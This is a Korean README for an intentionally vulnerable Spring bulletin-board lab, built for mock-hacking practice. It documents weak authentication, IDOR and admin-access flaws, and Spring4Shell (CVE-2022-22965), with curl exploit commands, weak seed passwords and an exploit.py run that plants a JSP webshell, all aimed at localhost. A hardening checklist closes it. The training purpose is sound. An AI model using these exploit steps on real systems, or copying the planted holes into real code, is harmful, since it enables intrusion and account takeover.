Share
## https://sploitus.com/exploit?id=66F7390F-EB96-5E0D-9712-05083B37F1B0
# ReznokWorks 사내 κ²Œμ‹œνŒ β€” λͺ¨μ˜ν•΄ν‚Ή μ‹œλ‚˜λ¦¬μ˜€ PoC

원본 [Spring4Shell PoC](https://github.com/reznok/Spring4Shell-POC) μœ„μ—
**OWASP Top 10 μ‹œλ‚˜λ¦¬μ˜€**λ₯Ό 얹은 λͺ¨μ˜ν•΄ν‚Ή μ‹€μŠ΅μš© μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μž…λ‹ˆλ‹€.
"사내 κ²Œμ‹œνŒ" μ„œλΉ„μŠ€λ‘œ μœ„μž₯ν•œ μ·¨μ•½ μ‚¬μ΄νŠΈλ‘œ, λ‹€μŒ μ„Έ κ°€μ§€ 취약점을 ν•™μŠ΅ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

| # | 취약점 | OWASP | μœ„μΉ˜ |
|---|---|---|---|
| 1 | **Identification & Authentication Failures** | A07:2021 | `/login`, `/signup`, μ„Έμ…˜ μΏ ν‚€ |
| 2 | **Broken Access Control (IDOR + κΆŒν•œ 검증 λˆ„λ½)** | A01:2021 | `/post/edit`, `/user/profile`, `/admin` |
| 3 | **Spring4Shell (CVE-2022-22965)** | A06:2021 (μ·¨μ•½ μ»΄ν¬λ„ŒνŠΈ) | `/greeting`, `/signup`, `/post/write`, `/post/edit` |

> ⚠ λ³Έ ν”„λ‘œμ νŠΈλŠ” ν•™μŠ΅ 및 λͺ¨μ˜ν•΄ν‚Ή μ‹€μŠ΅ μ „μš©μž…λ‹ˆλ‹€. μ‹€μ œ 운영 ν™˜κ²½μ— λ°°ν¬ν•˜μ§€ λ§ˆμ„Έμš”.

---

## 1. λΉ λ₯Έ μ‹œμž‘

```bash
docker build . -t reznokworks
docker run -p 8080:8080 reznokworks
```

WAR νŒ¨ν‚€μ§•μ΄λΌ μ»¨ν…μŠ€νŠΈ κ²½λ‘œλŠ” `/helloworld` μž…λ‹ˆλ‹€.

- 둜그인 ν™”λ©΄: 
- κ²Œμ‹œνŒ: 
- Spring4Shell μ§„μž…μ : 

### μ‹œλ“œ 계정 (μ˜λ„μ μœΌλ‘œ μ•½ν•œ λΉ„λ°€λ²ˆν˜Έ)

| 아이디 | λΉ„λ°€λ²ˆν˜Έ | κΆŒν•œ |
|---|---|---|
| admin | admin123 | ADMIN |
| alice | 1234     | USER |
| bob   | qwerty   | USER |
| carol | password | USER |

---

## 2. μ‹œλ‚˜λ¦¬μ˜€ 흐름

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ μ •μ°°      β”‚ ──> β”‚ μ•½ν•œ 인증 β”‚ ──> β”‚ κΆŒν•œ 우회    β”‚ ──> β”‚ Spring4Shell   β”‚
β”‚ (κ²Œμ‹œνŒ)  β”‚     β”‚ 돌파      β”‚     β”‚ (IDOR/Admin) β”‚     β”‚ β†’ μ›Ήμ‰˜ RCE      β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

1. κ³΅κ²©μžλŠ” `/helloworld/login` μ—μ„œ μ‹œλ“œ κ³„μ •μ˜ μ•½ν•œ λΉ„λ°€λ²ˆν˜Έλ₯Ό 무차별 λŒ€μž….
2. 둜그인 ν›„ λ‹€λ₯Έ μ‚¬μš©μžμ˜ κ²Œμ‹œκΈ€μ„ μž„μ˜ μˆ˜μ •/μ‚­μ œ (IDOR).
3. μˆ¨κ²¨μ§„ `/admin` νŽ˜μ΄μ§€ κ°•μ œ μ ‘κ·Ό β†’ 평문 λΉ„λ°€λ²ˆν˜Έ 덀프.
4. `/greeting` λ˜λŠ” `/signup` 폼에 Spring4Shell νŽ˜μ΄λ‘œλ“œ 전솑 β†’ JSP μ›Ήμ‰˜ μž‘μ„± β†’ RCE.

---

## 3. A07 인증 μ‹€νŒ¨ β€” μ΅μŠ€ν”Œλ‘œμž‡ κ°€μ΄λ“œ

### 3.1 평문 λΉ„λ°€λ²ˆν˜Έ + μ‹œλ„ μ œν•œ μ—†μŒ

`AuthController#loginSubmit` 은 `user.getPassword().equals(input)` 으둜
**평문 비ꡐ**ν•©λ‹ˆλ‹€. 잠금/μ§€μ—° 정책이 μ—†μ–΄ 무차별 λŒ€μž…μ΄ κ°€λŠ₯ν•©λ‹ˆλ‹€.

```bash
for pw in 1234 admin admin123 password qwerty 12345; do
  curl -s -o /dev/null -w "$pw -> %{http_code}\n" \
       -X POST http://localhost:8080/helloworld/login \
       -d "username=admin&password=$pw"
done
```

성곡 μ‹œ `302` + `Set-Cookie: SESS_USER_ID=...` κ°€ λ–¨μ–΄μ§‘λ‹ˆλ‹€.

### 3.2 예츑 κ°€λŠ₯ν•œ μ„Έμ…˜ 토큰

`SessionHelper` λŠ” μ„Έμ…˜ 토큰을 **κ·Έλƒ₯ μ‚¬μš©μž ID** 둜 λ°œκΈ‰ν•©λ‹ˆλ‹€.

```bash
# μ„Έμ…˜ κ°•μ œ: ADMIN κ³„μ •μ˜ IDλŠ” 1
curl -b "SESS_USER_ID=1" http://localhost:8080/helloworld/admin
```

μΏ ν‚€ 값을 `1, 2, 3, 4...` 둜 enumerate ν•˜λ©΄ μž„μ˜ μ‚¬μš©μžλ‘œ λ‘œκ·ΈμΈλ©λ‹ˆλ‹€.
`HttpOnly`, `Secure`, `SameSite` λͺ¨λ‘ λΉ μ Έ μžˆμ–΄ XSS/λ„€νŠΈμ›Œν¬ νƒˆμ·¨μ—λ„ λ…ΈμΆœλ©λ‹ˆλ‹€.

### 3.3 νšŒμ›κ°€μž… κΆŒν•œ μƒμŠΉ

`/signup` 은 `@ModelAttribute User` 둜 λ°”μΈλ”©λ˜μ–΄ 폼에 μ—†λŠ” `role` 도
μ£Όμž…ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

```bash
curl -X POST http://localhost:8080/helloworld/signup \
     -d "username=evil&password=1&role=ADMIN"
```

μƒμ„±λœ `evil` 계정은 ADMIN κΆŒν•œμ„ κ°€μ§‘λ‹ˆλ‹€. (이 자체둜 A01 + Mass Assignment)

---

## 4. A01 Broken Access Control β€” μ΅μŠ€ν”Œλ‘œμž‡ κ°€μ΄λ“œ

### 4.1 IDOR (κ²Œμ‹œκΈ€ μˆ˜μ •/μ‚­μ œ)

`BoardController#editForm/editSubmit/delete` λŠ” μž‘μ„±μž 검증을
ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. `alice` 둜 λ‘œκ·ΈμΈν•œ λ’€:

```bash
# admin 이 μž‘μ„±ν•œ 1번 글을 alice κ°€ μˆ˜μ •
curl -b "SESS_USER_ID=2" \
     -X POST http://localhost:8080/helloworld/post/edit \
     -d "id=1&title=HACKED&content=alice%20was%20here&category=곡지"

# μž„μ˜ κΈ€ μ‚­μ œ
curl -b "SESS_USER_ID=2" \
     "http://localhost:8080/helloworld/post/delete?id=2"
```

### 4.2 IDOR (직원 정보 쑰회)

`UserController#profile` 은 `?id=` νŒŒλΌλ―Έν„°λ‘œ μž„μ˜ μ‚¬μš©μž 정보λ₯Ό λ…ΈμΆœν•©λ‹ˆλ‹€.

```bash
for i in 1 2 3 4 5; do
  curl -s -b "SESS_USER_ID=2" \
       "http://localhost:8080/helloworld/user/profile?id=$i" \
       | grep -E "(아이디|이메일|λΆ€μ„œ)"
done
```

### 4.3 κ΄€λ¦¬μž νŽ˜μ΄μ§€ κ°•μ œ μ ‘κ·Ό

`/admin` 은 navbar에 λ…ΈμΆœλ˜μ§€ μ•Šμ§€λ§Œ URL 직접 μž…λ ₯으둜 μ ‘κ·Ό κ°€λŠ₯ν•˜λ©°,
`AdminController#dashboard` λŠ” **role 검증을 ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€**.
일반 μ‚¬μš©μžλ„ λͺ¨λ“  μ‚¬μš©μžμ˜ 평문 λΉ„λ°€λ²ˆν˜Έ + 전체 κ²Œμ‹œκΈ€μ„ μ‘°νšŒν•  수 μžˆμŠ΅λ‹ˆλ‹€.

```bash
curl -b "SESS_USER_ID=2" http://localhost:8080/helloworld/admin
```

---

## 5. Spring4Shell (CVE-2022-22965) β€” μ΅μŠ€ν”Œλ‘œμž‡ κ°€μ΄λ“œ

쑰건은 λͺ¨λ‘ μΆ©μ‘±λ©λ‹ˆλ‹€:

- JDK β‰₯ 9 (Dockerfile: `tomcat-9.0.59-jdk11`)
- Spring Framework 5.3.15 (μ·¨μ•½ λ²”μœ„)
- WAR νŒ¨ν‚€μ§• + Tomcat
- `@ModelAttribute` 기반 객체 바인딩

### μ·¨μ•½ μ—”λ“œν¬μΈνŠΈ

| μ—”λ“œν¬μΈνŠΈ | 바인딩 λͺ¨λΈ | λΉ„κ³  |
|---|---|---|
| `POST /greeting` | `Greeting` | 원본 PoC ν˜Έν™˜ (exploit.py) |
| `POST /signup`   | `User`     | 인증 없이 호좜 κ°€λŠ₯ |
| `POST /post/write` | `Post`   | 둜그인 ν•„μš” |
| `POST /post/edit`  | `Post`   | 둜그인 ν•„μš” |

### μ‹€ν–‰

원본 exploit.py λ₯Ό κ·ΈλŒ€λ‘œ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

```bash
python exploit.py --url "http://localhost:8080/helloworld/greeting"
# λ˜λŠ”
python exploit.py --url "http://localhost:8080/helloworld/signup"
```

성곡 μ‹œ `http://localhost:8080/shell.jsp?cmd=id` 둜 λͺ…λ Ή 싀행이 λ©λ‹ˆλ‹€.

---

## 6. 디렉터리 ꡬ쑰

```
src/main/java/com/reznok/helloworld/
β”œβ”€β”€ HelloworldApplication.java      # Spring Boot μ§„μž…μ 
β”œβ”€β”€ HelloController.java            # 원본 Greeting (Spring4Shell ν˜Έν™˜)
β”œβ”€β”€ Greeting.java
β”œβ”€β”€ domain/
β”‚   β”œβ”€β”€ User.java                   # @ModelAttribute 바인딩 λŒ€μƒ
β”‚   └── Post.java                   # @ModelAttribute 바인딩 λŒ€μƒ
β”œβ”€β”€ repository/
β”‚   β”œβ”€β”€ UserRepository.java         # μ‹œλ“œ 계정 (μ•½ν•œ PW)
β”‚   └── PostRepository.java         # μ‹œλ“œ κ²Œμ‹œκΈ€
β”œβ”€β”€ security/
β”‚   └── SessionHelper.java          # μ·¨μ•½ν•œ μ„Έμ…˜ (예츑 κ°€λŠ₯ 토큰)
└── controller/
    β”œβ”€β”€ AuthController.java         # A07 + Spring4Shell
    β”œβ”€β”€ BoardController.java        # A01 IDOR + Spring4Shell
    β”œβ”€β”€ UserController.java         # A01 IDOR (직원 정보)
    └── AdminController.java        # A01 κΆŒν•œ 검증 λˆ„λ½

src/main/resources/
β”œβ”€β”€ application.properties
β”œβ”€β”€ static/css/style.css
└── templates/
    β”œβ”€β”€ login.html      signup.html
    β”œβ”€β”€ board.html      post.html
    β”œβ”€β”€ write.html      edit.html
    β”œβ”€β”€ profile.html    admin.html
    └── hello.html      # 원본 PoC ν˜Έν™˜ μœ μ§€
```

---

## 7. μ•ˆμ „ν•˜κ²Œ λ§Œλ“œλ €λ©΄ (체크리슀트)

- λΉ„λ°€λ²ˆν˜ΈλŠ” BCrypt/Argon2 둜 ν•΄μ‹œ μ €μž₯.
- μ„Έμ…˜μ€ μ„œλ²„μΈ‘ μ €μž₯ + 랜덀 토큰 + `HttpOnly`+`Secure`+`SameSite=Strict`.
- 둜그인 5회 μ‹€νŒ¨ μ‹œ 일정 μ‹œκ°„ 잠금/μΊ‘μ°¨.
- `@ModelAttribute` λŒ€μ‹  DTO ν™”μ΄νŠΈλ¦¬μŠ€νŠΈ + `@InitBinder` 둜 `setDisallowedFields("class.*", "Class.*", "*.class.*", "*.Class.*")`.
- λͺ¨λ“  컨트둀러 μ§„μž…μ—μ„œ `@PreAuthorize` λ˜λŠ” λͺ…μ‹œμ  μ†Œμœ κΆŒ 검증.
- Spring Framework 5.3.18+ / 5.2.20+ 둜 μ—…κ·Έλ ˆμ΄λ“œ.

---

## ν¬λ ˆλ”§

- 원본 PoC: [@Rezn0k](https://github.com/reznok/Spring4Shell-POC)
- 취약점 뢄석: [LunaSec](https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities)